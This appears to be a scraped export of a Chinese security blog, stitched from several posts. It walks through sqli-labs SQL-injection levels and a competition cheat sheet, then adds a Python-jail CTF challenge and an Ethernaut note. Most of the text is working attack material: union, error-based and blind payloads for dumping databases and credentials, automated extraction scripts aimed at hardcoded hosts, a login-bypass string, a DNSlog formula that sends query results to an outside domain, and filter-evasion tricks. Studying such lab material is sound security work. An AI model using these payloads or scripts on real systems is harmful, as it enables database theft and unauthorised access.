(version());+-------------------------+| (version()) |+-------------------------+| 5.5.44-0ubuntu0.14.04.1 |+-------------------------+1 row in set (0.00 sec) SQL 注入常用函数字符拼接1. concat()函数 功能:将多个字符串连接成一个字符串。 语法:concat(str1, str2,…) 说明:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。 123456789101112131415161718mysql> select concat('a','b','c') -> ;+---------------------+| concat('a','b','c') |+---------------------+| abc |+---------------------+1 row in set (0.00 sec)mysql> select concat('a','b','c','null') -> ;+----------------------------+| concat('a','b','c','null') |+----------------------------+| abcnull |+----------------------------+1 row in set (0.00 sec) 2. concat_ws()函数 功能 和concat()一样,但是可以指定分隔符 语法:concat_ws(separator, str1, str2, …) 第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。 12345678mysql> select concat_ws('#','a','b','c','null') -> ;+-----------------------------------+| concat_ws('#','a','b','c','null') |+-----------------------------------+| a#b#c#null |+-----------------------------------+1 row in set (0.00 sec) 3.group_concat()函数 功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator] ) 12345678mysql> select 1,(select group_concat(username) from users); +---+---------------------------------------------------------------------------------------------+| 1 | (select group_concat(username) from users) |+---+---------------------------------------------------------------------------------------------+| 1 | Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 |+---+---------------------------------------------------------------------------------------------+1 row in set (0.00 sec) 盲注常用1.ascii()函数都会用,不说了 2.substr()函数 substr(str,pos,len);//str:字符串,pos:起始位置,len:截断长度 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647mysql> select substr("abcdefg",1,1);+-----------------------+| substr("abcdefg",1,1) |+-----------------------+| a |+-----------------------+1 row in set (0.00 sec)mysql> select substr("abcdefg",1,3);+-----------------------+| substr("abcdefg",1,3) |+-----------------------+| abc |+-----------------------+1 row in set (0.00 sec)mysql> select substr("abcdefg",2,3);+-----------------------+| substr("abcdefg",2,3) |+-----------------------+| bcd |+-----------------------+1 row in set (0.00 sec)mysql> select substr("abcdefg",-2,3);+------------------------+| substr("abcdefg",-2,3) |+------------------------+| fg |+------------------------+1 row in set (0.01 sec)mysql> select substr("abcdefg",-2,1);+------------------------+| substr("abcdefg",-2,1) |+------------------------+| f |+------------------------+1 row in set (0.00 sec)mysql> select substr("abcdefg",-3,2);+------------------------+| substr("abcdefg",-3,2) |+------------------------+| ef |+------------------------+1 row in set (0.00 sec) sleep()都会,不说了 报错注入常用updatexml()extractvalue()group by报错注入0x02 SQL注入靶场–Sqli-labsLess-1 | 显错注入判断注入点为字符型还是数字型: ?id=1 id=2 id=1+1 这里可以发现,没有对我们输入的1+1进行运算,可以确定是字符型注入。查看源代码 1$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 这里有个令人异或的地方:?id=1+1为啥返回了?id=1的结果,这里进mysql控制台里面康康。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061mysql> select * from users where id='1+1';+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb |+----+----------+----------+1 row in set, 1 warning (0.00 sec)mysql> select * from users where id=1;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb |+----+----------+----------+1 row in set (0.00 sec)mysql> select * from users where id="1";+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb |+----+----------+----------+1 row in set (0.00 sec)mysql> select * from users where id="1a";+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb |+----+----------+----------+1 row in set, 1 warning (0.00 sec)mysql> select * from users where id="a1";Empty set (0.00 sec)mysql> select * from users where id="0x1";Empty set (0.00 sec)mysql> select * from users where id=0x1;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb |+----+----------+----------+1 row in set (0.00 sec)mysql> select * from users where id=+0b01;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb |+----+----------+----------+1 row in set (0.00 sec)mysql> select * from users where id=+ 0b01;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb |+----+----------+----------+1 row in set (0.00 sec) 这宛如PHP一样强大的鲁棒性,我已经有不好的预感了。 众所周知,方便程序员写代码 = 方便黑客进来搞事情。 更深入的测试联合注入: ?id=1’ union select 1,2,3 –+ 实际执行的是,这里--+是将后面的内容注释掉了 SELECT * FROM users WHERE id=’1’ union select 1,2,3 –+ LIMIT 0,1 好像啥都没变,不过在后端的代码里可以看见相关的逻辑 12345678if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } MySQL返回的是 1234567+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb || 1 | 2 | 3 |+----+----------+----------+2 rows in set (0.00 sec) 但因为后端代码的设计,只能显示第一条,这时候我们可以让前面id指向一个不存在的数据,这样第一条数据就只会返回空 1234567mysql> SELECT * FROM users WHERE id='-1' union select 1,2,3; +----+----------+----------+| id | username | password |+----+----------+----------+| 1 | 2 | 3 |+----+----------+----------+1 row in set (0.00 sec) 开始爆金币数据了 ?id=-1’ union select 1,(select username from users limit 4,1),3 –+ 因为select username from users会返回多条数据,这时候使用limit来限制返回哪一行 这样子爆破数据不够爽,还得手动一个一个搓,太麻烦了,直接上group_concat() ?id=-1’ union select 1,(select group_concat(username) from users),3 –+ 不过这是咱在翻看了源代码,并且知道这些数据的情况下做出来的,在真正注入的环境下,得需要获取这些数据,这时候就需要information_schema这个数据库了 ?id=-1’ union select 1,(select group_concat(schema_name) from schemata),3 –+ 发生什么事了?好像有点不太对劲呢。因为这题所在的数据库是security,而schemata是在information_schema这个数据库下面的。我们需要换成information_schema.schemata ?id=-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 –+ 数据库爆出来了,爆表名 ?id=-1’ union select 1,(select group_concat(table_name) from information_schema.columns where table_schema=”security”),3 –+ 表名出来了,爆字段 ?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=”users”),3 –+ 需要的数据都有了,咱可以直接把库给脱下来了 Less-2 - Less-4这几题都一样,无非是注入点周围包裹的东西不一样,不多赘述,过。 Less-5 | 布尔盲注 ?id=1 眉清目秀,啥都木有。 ?id=1”‘一通测试下来,发现有了报错信息 如何利用报错信息注入呢? ?id=1’ and 1 = 1 –+i ?id=2’ and 2 = 1 –+ 那有意思的就来了,嘻嘻 12345678mysql> select ((substr(group_concat((select group_concat(schema_name) from information_schema.schemata)),1,1))=0);+-----------------------------------------------------------------------------------------------------+| ((substr(group_concat((select group_concat(schema_name) from information_schema.schemata)),1,1))=0) |+-----------------------------------------------------------------------------------------------------+| 1 |+-----------------------------------------------------------------------------------------------------+1 row in set (0.00 sec) 爆数据库 1234567891011121314import requestsurl = "http://39.104.82.167/Less-5/?id="res = ""for i in range(0,256): for j in range(0,256): for k in range(0,256): payload = f"1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{j},1)) = {k} --+" r = requests.get(url+payload) if "You are in..........." in r.text: res += chr(k) print(res) break 更改payload来爆表 1payload = f"1' and ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=\\"security\\"),{j},1)) = {k} --+" 更改payload 来爆字段 1payload = f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{j},1)) = {k} --+" Tips 无AND的情况下,可以用^ Less 6-8 都差不多,就是需要各种奇妙的闭合略 Less 9这里需要时间盲注,和布尔盲注差不多只是需要添加一个if(a,sleep(10),1)判断 ?id=1’ and if(1=1,sleep(5),1)–+ 判断参数构造。 ?id=1’and if(length((select database()))>9,sleep(5),1)–+ 判断数据库名长度 ?id=1’and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+ 逐一判断数据库字符 ?id=1’and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)–+ 判断所有表名长度 ?id=1’and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)–+ 逐一判断表名 ?id=1’and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))>20,sleep(5),1)–+ 判断所有字段名的长度 ?id=1’and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),1,1))>99,sleep(5),1)–+ 逐一判断字段名。 ?id=1’ and if(length((select group_concat(username,password) from users))>109,sleep(5),1)–+ 判断字段内容长度 ?id=1’ and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)–+ 逐一检测内容。 Less 10 一模一样,略Less 11 | 万能密码这次开始,不是get传参了,换成POST传参还给了个登录框,先随便穿个数据康康 这时候拿出我们的究极无敌炫酷万能密码1' or 1=1# 好了,这就进去了 为什么呢?咱把源码翻开 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])){ $uname=$_POST['uname']; $passwd=$_POST['passwd']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname); fwrite($fp,'Password:'.$passwd."\\n"); fclose($fp); // connectivity @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); //注意这里 $row = mysql_fetch_array($result); if($row) { //echo '<font color= "#0000ff">'; echo "<br>"; echo '<font color= "#FFFF00" font size = 4>'; //echo " You Have successfully logged in\\n\\n " ; echo '<font size="3" color="#0000ff">'; echo "<br>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "<br>"; echo "</font>"; echo "<br>"; echo "<br>"; echo '<img src="../images/flag.jpg" />'; echo "</font>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; }}?> 关键点在这里$result=mysql_query($sql); 这里的结果是用sql语句的查询结果来,所以只需要让语句返回一个真就行了,or 1 = 1使得整个语句恒真,这就让我们成功登陆进去了 之后我们就可以注入获取信息了。 Less 12 -16 都差不多略 Less 17 | 报错注入这题开始不同了,使用的是update而不是select 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,15); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; }// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])){//making sure uname is not injectable$uname=check_input($_POST['uname']); $passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\\n");fwrite($fp,'New Password:'.$passwd."\\n");fclose($fp);// connectivity @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);//echo $row; if($row) { //echo '<font color= "#0000ff">'; $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo "<br>"; if (mysql_error()) { echo '<font color= "#FFFF00" font size = 3 >'; print_r(mysql_error()); echo "</br></br>"; echo "</font>"; } else { echo '<font color= "#FFFF00" font size = 3 >'; //echo " You password has been successfully updated " ; echo "<br>"; echo "</font>"; } echo '<img src="../images/flag1.jpg" />'; //echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font size="4.5" color="#FFFF00">'; //echo "Bug off you Silly Dumb hacker"; echo "</br>"; echo '<img src="../images/slap1.jpg" />'; echo "</font>"; }} 报错注入开淦 能进行报错的函数extractvalue() 演示: 12345mysql> select extractvalue(1,concat(0x5c,"114514",0x5c));ERROR 1105 (HY000): XPATH syntax error: '\\114514\\'``` * payload: 1’ and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本 1’ and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库 1’ and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名 1’ and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x5c)))# 爆字段名 1’ and (extractvalue(1,concat(0x5c,(select password from (select password from users where username=’admin1’) b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。 1’ and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。 1234567#### updatexml()* `updatexml()`是一个使用不同的xml标记匹配和替换xml块的函数。* 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据* updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax) mysql> select (updatexml(1,concat(0x7e,(version()),0x7e),1));ERROR 1105 (HY000): XPATH syntax error: ‘5.5.44-0ubuntu0.14.04.1‘ 公式: updatexml(数字,带有'~'的任何东西,数字) updatexml(数字,(concat(0x7e,(长度不过63的任意字符),0x7e)),数字) ## less 18 - Less19 地点不一样,懒得弄了. ## Less20 - Less23 base64编码了一下,还是一样 ## Less24 | 二次注入","link":"/2022/10/06/sql/"},{"title":"How sfc9982 helped me solve hexo problem","text":"How sfc9982 helped me solve hexo problem I used removeif/hexo-theme-amazing He STFW and RTFM then he solved it. I deeply apperciate his generous assistance.His blog is at googles.plus","link":"/2022/09/29/i-love-hexo/"},{"title":"SQL注入备忘录","text":"最近在用sql-lib学sql注入,零零散散的笔记整了一大堆,现在整合一下,做个备忘录,方便比赛的时候方便查询。 典中典版本:爆库版本: ?id=-1' union select 1,database(),3--+爆库: ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+爆表: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'#爆字段: ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#这几个出来了,剩下的就不用我说了吧qwq 常用函数: 名称 作用 system_user() 系统用户名 user() 用户名 session_user() 连接数据库的用户名 database() 数据库名 version() MYSQL数据库版本 load_file() MYSQL读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL 安装路径 @@version_compile_os 操作系统 报错注入:extractvalue函数都会,不解释了。公式:extractvalue(数字,concat(0x7e,(查询语句),0x7e)) updatexml函数都会,不解释了。公式:updatexml(数字,concat(0x7e,(查询语句),0x7e),数字) 溢出报错exp函数溢出 | mysql>5.5.53原理:当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误,用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的 Double 数组范围,从而报错输出。 1234567891011mysql> select ~(select version());+----------------------+| ~(select version()) |+----------------------+| 18446744073709551610 |+----------------------+1 row in set, 1 warning (0.00 sec)mysql> select exp(~(select * from(select version())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.44-0ubuntu0.14.04.1' from dual)))'mysql> 公式:select exp(~(select * from(查询语句)x));支持load_file,最多13行 BIGINT溢出差不多同样的原理,可以报错公式:select 1+~(select*from(查询语句)x);同理,其他的函数也可以这么干: 123select !atan((select*from(查询语句)a))-~0;select !ceil((select*from(查询语句)a))-~0;select !floor((select*from(查询语句)a))-~0; 其他能利用的函数… 12345678910111213HEXINFLOORCEILRANDCEILINGTRUNCATETANSQRTROUNDSIGNEXP... group by 注入 | 表中的数据至少要为三条才可以注入成功原理:group_by注入 公式:select count(*) from information_schema.tables group by concat((查询语句),floor(rand()*2));效率比较低qwq而且还有猜错的可能 无select注入 | MySQL 8浅谈利用mysql8新特性进行SQL注入脚本搬到这里了 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203'''@author qwzf@desc 本脚本是用于mysql 8新特性的sql注入@date 2021/02/18'''import requestsimport stringurl = 'http://121.41.231.75:8002/Less-8/?id='chars=string.ascii_letters+string.digits+"@{}_-?"def current_db(url): print("利用mysql8新特性或普通布尔盲注:\\n1.新特性(联合查询) 2.普通布尔盲注") print("请输入序号:",end='') num = int(input()) if num == 1: payload = "-1' union values row(1,database(),3)--+" #联合查询爆当前数据库(可修改) urls = url + payload r = requests.get(url=urls) print(r.text) else: name='' payload = "1' and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改) for i in range(1,40): char='' for j in chars: payloads = payload.format(i,ord(j)) urls = url + payloads r = requests.get(url=urls) if "You are in" in r.text: name += j print(name) char = j break if char == '': breakdef str2hex(name): res = '' for i in name: res += hex(ord(i)) res = '0x' + res.replace('0x','') return resdef dbs(url): #无列名盲注爆所有数据库(可修改) while True: print("请输入要爆第几个数据库,如:1,2等:",end='') x = int(input())-1 num = str(x) if x < 0: break payload = "1' and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+" name = '' for i in range(1,20): hexchar = '' for char in range(32, 126): hexchar = str2hex(name + chr(char)) payloads = payload.format(hexchar) #print(payloads) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: name += chr(char-1) print(name) breakdef tables_n(url,database): #无列名盲注爆数据表开始行数(可修改) payload = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+" for i in range(0,10000): payloads = payload.format(i) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: char = chr(ord(database[-1])+1) database = database[0:-1]+char payld = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+" urls = url + payld res = requests.get(url=urls) #print(i) if 'You are in' not in res.text: print('从第',i,'行开始爆数据表') #判断开始行数 n = i break return ndef tables(url,database,n): #无列名盲注爆数据表(可修改) while True: print("请输入要爆第几个数据表,如:1,2等:",end='') x = int(input())-1 num = str(x + n) if x < 0: break payload = "1' and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+" name = '' for i in range(1,20): hexchar = '' for char in range(32, 126): hexchar = str2hex(name + chr(char)) payloads = payload.format(hexchar) #print(payloads) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: name += chr(char-1) print(name) breakdef columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改) payload = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+" for i in range(3000,10000): payloads = payload.format(i) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: char = chr(ord(table[-1])+1) table = table[0:-1]+char payld = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+" urls = url + payld res = requests.get(url=urls) #print(i) if 'You are in' not in res.text: print('从第',i,'行开始爆字段') #判断开始行数 n = i break return ndef columns(url,database,table,n): #无列名盲注爆字段值(可修改) while True: print("请输入要爆第几个字段,如:1,2等:",end='') x = int(input())-1 num = str(x + n) if x < 0: break payload = "1' and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+" name = '' for i in range(1,20): hexchar = '' for char in range(32, 126): hexchar = str2hex(name + chr(char)) payloads = payload.format(hexchar) #print(payloads) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: name += chr(char-1) print(name) breakdef datas(url,table): #无列名盲注爆数据(可修改) while True: print("请输入要爆第几个数据,如:1,2等:",end='') x = int(input()) y = x-1 num = str(y) if y < 0: break payload = "1' and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+" name = '' for i in range(1,20): hexchar = '' for char in range(32, 126): hexchar = str2hex(name + chr(char)) payloads = payload.format(hexchar) #print(payloads) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: name += chr(char-1) print(name) breakif __name__ == "__main__": while True: print("请输入要操作的内容:\\n1.爆当前数据库\\n2.爆数据表开始行号\\n3.爆数据表\\n4.爆字段值开始行号\\n5.爆字段值\\n6.爆数据\\n7.爆所有数据库") types = int(input()) if types == 1: current_db(url) elif types == 2 or types == 3: print("请输入已经得到的数据库名:",end='') database = input() if types == 2: tables_n(url,database) elif types == 3: print("爆数据表开始行号:",end='') n = int(input()) tables(url,database,n) elif types == 4 or types == 5: print("请输入已经得到的数据库名:",end='') database = input() print("请输入已经得到的数据表名:",end='') table = input() if types == 4: columns_n(url,database,table) elif types == 5: print("爆字段值开始行号:",end='') n = int(input()) columns(url,database,table,n) elif types == 6: print("请输入要查询的数据表名:",end='') table = input() datas(url,table) else: dbs(url) 时间盲注原理都会,不讲了。 ascii判断:if(ascii(substr(查询语句,1,1))>115,1,sleep(3))left语句判断:if(left(查询语句,1)='s',sleep(10),1) if(left(查询语句,2)='sa',sleep(10),1)substring函数判断:if(substring((查询语句),1,1='a'),11111,sleep(1)) 布尔注入同时间盲注,没啥东西 二次注入也没啥太多活能整,可以使用flask框架本地中转一下,把繁琐的步骤交给机器做。 堆叠注入能同时执行多条语句,要求比较高,这时候可以使用预编译了。可以参考这题整花活**[强网杯 2019]随便注**BUUCTF[强网杯 2019]随便注 的三种解法 Dnslog注入要求mysql权限比较高,同时还得能出网公式:select load_file(concat('\\\\',(查询语句),'.DNSLOG给的域名/任意字符' 搜索注入原理:mysql查询的时候,常用的是select * from sqltest where names like '%要查询的关键字%这时候就可以闭合%然后注入 宽字节注入 |使用了addslashes()函数 && 数据库设置了编码模式为GBK原理: 前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞。 12345?id=%df' and 1=1 --+?id=%df' and 1=2 --+?id=-1%df' union select 1,2,3 %23 limit注入 | 数据库版本比较低原理:Mysql下Limit注入方法公式:SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,查询语句)),1); Bypass空格两个空格代替一个空格,用Tab代替空格,%a0=空格,括号代替空格,注释/*注释*/ 引号 | 十六进制这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。users的十六进制的字符串是7573657273。那么最后的sql语句就变为了: select column_name from information_schema.tables where table_name=0x7573657273 逗号在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决: select substr(database() from 1 for 1); select mid(database() from 1 for 1); 使用join: union select 1,2# 等价于 union select * from (select 1)a join (select 2)b 使用like: select ascii(mid(user(),1,1))=80 # 等价于 select user() like 'r%' 对于limit可以使用offset来绕过: select * from news limit 0,1 # 等价于下面这条SQL语句 select * from news limit 1 offset 0 绕过比较符号()(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本): 使用greatest()、least():(前者返回最大值,后者返回最小值) 同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。 最常见的一个盲注的sql语句: select * from users where id=1 and ascii(substr(database(),0,1))>64 此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。 那么上面的这条sql语句可以使用greatest变为如下的子句: select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64 Between注入主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。 a到t就有了,页面正常 注between 1 and 1; 等价于 =1 WHERE可以使用having ,但是having只能用前面select已经选择的列名 12select goods_price,goods_name from sw_goods where goods_price > 100select goods_price,goods_name from sw_goods having goods_price > 100 过滤information_schema可以查表名: InnoDb引擎从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。只需要把infromation_schema换成mysql.innodb_table_stats sys数据库在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。只需要把information_schema换成sys.schema_auto_increment_columns就行了,其他的完全一样 聊一聊bypass information_schema之后就需要无列名注入了 SLEEP睡不了?就想办法让sql干重活慢下来concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b' or and xor not绕过:and=&& or=|| xor=| not=! 绕过注释符(#,–(后面跟一个空格))过滤: id=1' union select 1,2,3||'1 最后的or ‘1闭合查询语句的最后的单引号,或者: id=1' union select 1,2,'3 绕过等于号使用like 、rlike 、regexp 或者 使用< 或者 > 其他的bypass手段:这个就看题目环境了,题目里随机多样,但是万变不离其宗。 Tircksgroup by..with rollup - [SWPU2019]Web6题目来源: [SWPU2019]Web6 此题开始进行sql注入,但是经过测试能发现注入点过滤很严格,使用with rollup产生一个NULL NULL的数据,然后用直接登陆即可 Sqlmap科技未完待续 相关链接:Sqli通关flask框架exp函数溢出注入MySQL注入指北group_by注入group_by报错注入BIGINT报错注入SQL注入关联分析浅谈利用mysql8新特性进行SQL注入SQL注入之无列名注入group by..with rollup学习实例","link":"/2022/10/15/sql%E5%A4%87%E5%BF%98%E5%BD%95/"},{"title":"","text":"[Week1]calc_jail_beginner_level2.5(JAIL)12345678910111213141516171819202122232425262728293031323334353637#the length is be limited less than 13#it seems banned some payload #banned some unintend sol#Can u escape it?Good luck!def filter(s): BLACKLIST = ["exec","input","eval"] for i in BLACKLIST: if i in s: print(f'{i!r} has been banned for security reasons') exit(0)WELCOME = ''' _ _ _ _ _ _ _ ___ _____ | | (_) (_) (_) | | | |__ \\ | ____| | |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__ | '_ \\ / _ \\/ _` | | '_ \\| '_ \\ / _ \\ '__| | |/ _` | | | |/ _ \\ \\ / / _ \\ | / / |___ \\ | |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\\ V / __/ |/ /_ _ ___) | |_.__/ \\___|\\__, |_|_| |_|_| |_|\\___|_| | |\\__,_|_|_|_|\\___| \\_/ \\___|_|____(_)____/ __/ | _/ | |___/ |__/ '''print(WELCOME)print("Welcome to the python jail")print("Let's have an beginner jail of calc")print("Enter your expression and I will evaluate it for you.")input_data = input("> ")filter(input_data)if len(input_data)>13: print("Oh hacker!") exit(0)print('Answer: {}'.format(eval(input_data))) Unicode 欺骗https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/#%E6%9E%81%E7%AB%AF%E9%99%90%E5%88%B6好棒的博客 [WEEK2]calc_jail_beginner_level5(JAIL)1#It\\'s an challenge for jaillevel5 let\\'s read your flag!\\nimport load_flag\\n\\nflag = load_flag.get_flag()\\n\\ndef main():\\n WELCOME = \\'\\'\\'\\n _ _ _ _ _ _ _ _____ \\n | | (_) (_) (_) | | | | ____|\\n | |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__ \\n | \\'_ \\\\ / _ \\\\/ _` | | \\'_ \\\\| \\'_ \\\\ / _ \\\\ \\'__| | |/ _` | | | |/ _ \\\\ \\\\ / / _ \\\\ |___ \\\\ \\n | |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\\\\ V / __/ |___) |\\n |_.__/ \\\\___|\\\\__, |_|_| |_|_| |_|\\\\___|_| | |\\\\__,_|_|_|_|\\\\___| \\\\_/ \\\\___|_|____/ \\n __/ | _/ | \\n |___/ |__/ \\n\\'\\'\\'\\n print(WELCOME)\\n print("It\\'s so easy challenge!")\\n print("Seems flag into the dir()")\\n repl()\\n\\n\\ndef repl():\\n my_global_dict = dict()\\n my_global_dict[\\'my_flag\\'] = flag\\n input_code = input("> ")\\n complie_code = compile(input_code, \\'<string>\\', \\'single\\')\\n exec(complie_code, my_global_dict)\\n\\nif __name__ == \\'__main__\\':\\n main()","link":"/2022/10/12/HNctf/"},{"title":"Ethernaut刷题记录","text":"踩坑记录来自这里 可见修饰符publicprivateethernaut0.注意事项 @openzeppelin/contracts/math/SafeMath.sol 的地址已经迁移,做这个靶场的时候得自己手动改成"@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; 